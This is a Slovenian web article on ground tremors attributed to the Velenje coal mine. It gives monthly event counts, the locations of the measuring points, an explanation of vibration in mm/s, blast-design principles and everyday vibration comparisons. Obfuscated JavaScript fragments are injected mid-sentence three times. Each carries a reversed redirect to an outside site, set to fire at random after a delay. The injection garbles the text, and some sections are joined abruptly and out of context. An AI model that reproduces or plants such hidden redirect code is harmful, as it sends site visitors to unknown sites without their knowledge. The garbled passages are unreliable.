Tresenje tal v Šaleški dolini

Moteča nadloga ali resna nevarnost

Velenjski premogovnik deluje na največjem slovenskem nahajališču premoga in na eni od najdebelejših znanih plasti premoga na svetu. V lignitnih plasteh, debelih kar 165 metrov, je bilo doslej odkopanega več kakor 180 milijonov tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton lignita. če bi ga naložili na vagone, bi z njimi lahko sestavili kompozicijo, ki bi dvakrat obkrožila Zemljo.

V zadnjih desetih letih je na območju premogovnika, ki sega v bližino Šoštanja, zaznati potrese. Šoštanjčani in okoličani menijo, da jih večina nastaja zaradi rudniške dejavnosti. Ne glede na njihov vzrok – nastajajo lahko zaradi odkopavanja lignita, pa tudi zaradi geološke zgradbe tega območja – v Premogovniku Velenje posvečamo tej problematiki kar največjo skrb.

Številčno je bilo v marcu dogodkov manj kakor v februarju (20), manj kakor v januarju (31) in manj kakor v decembru (30). Marca smo po brezplačni telefonski liniji prejeli tudi deset klicev občanov, ki so prijavili tresenje tal (v februarju 28). Več klicev se je nanašalo na iste dogodke.

Bistvenega pomena pri tej problematiki je dobra komunikacija s prizadetimi prebivalci. Žal jim ne moremo sporočati časa teh dogodkov, preden se zgodijo, lahko pa jih seznanjamo z meritvami vplivov vibracij in doseženimi ravnmi za nazaj. Za zdaj imamo merilni sistem na površini na treh merskih tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točkah: Šoštanj – Mayerjeva vila, Pesje – Dom krajanov in Muzej premogovništva.

(3) Kaj so mm/s? Začnimo z delcem na tleh. Val vibracij se približuje in delec se prične krožno gibati. Za vsak val naredi delec pot polnega kroga –vsak val je dolg približno 150 metrov, njegova višina pa je enaka višini kroga, kar je pri razstreljevanju enako 0,25 mm (tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolikšen je premer človeškega lasu).

(4) Kako je razstreljevanje projektirano, da se zadržijo vibracije na varni ravni? Kakor vemo, pri metanju kamenja v vodo lahko s časovnim presledkom zadržimo vibracije na nižji ravni. Z upoštevanjem tega načela v proizvodnji mineralnih surovin načrtujemo razstreljevanje kot verižno serijo manjših eksplozij.

Razstreljevanje je zahtevna in natančna znanost. če je polnitev vrtine premajhna, hribina ne bo zdrobljena in večji del energije se bo sprostil z valovanjem. Kadar pa razstreljujemo z manjšimi polnitvami, moramo razstreljevati pogosteje.

Da razstreljevanje lahko načrtujemo pravilno, moramo poznati ravno pravo količino razstreliva, ravno prave razmike med vrtinami in prave časovne intervale med polnitvami, tako da je drobljenje kamnine maksimalno in da so vibracije minimalne.

To se lahko nazorno opazi ob suši, ko se te organske zemljine osušijo in skrčijo. Najbolj zanimive so bile študije, ki so pokazale, da se razpoke širijo in krčijo že pri dnevnih spremembah temperature in vlažnosti. Kot rezultat tega in drugih dejavnikov ima vsaka hiša manjše površinske razpoke, če je ali pa če ni blizu območja, na katerem se razstreljuje.

– loputanje z vhodnimi vrati: 3,8–48 mm/s;
– zabijanje žeblja v steno: 5,1–53 mm/s;
– veter s hitrostjo 36 km/h: 15–66 mm/s;
– veter s hitrostjo 80 km/h: 27,9–170 mm/s.
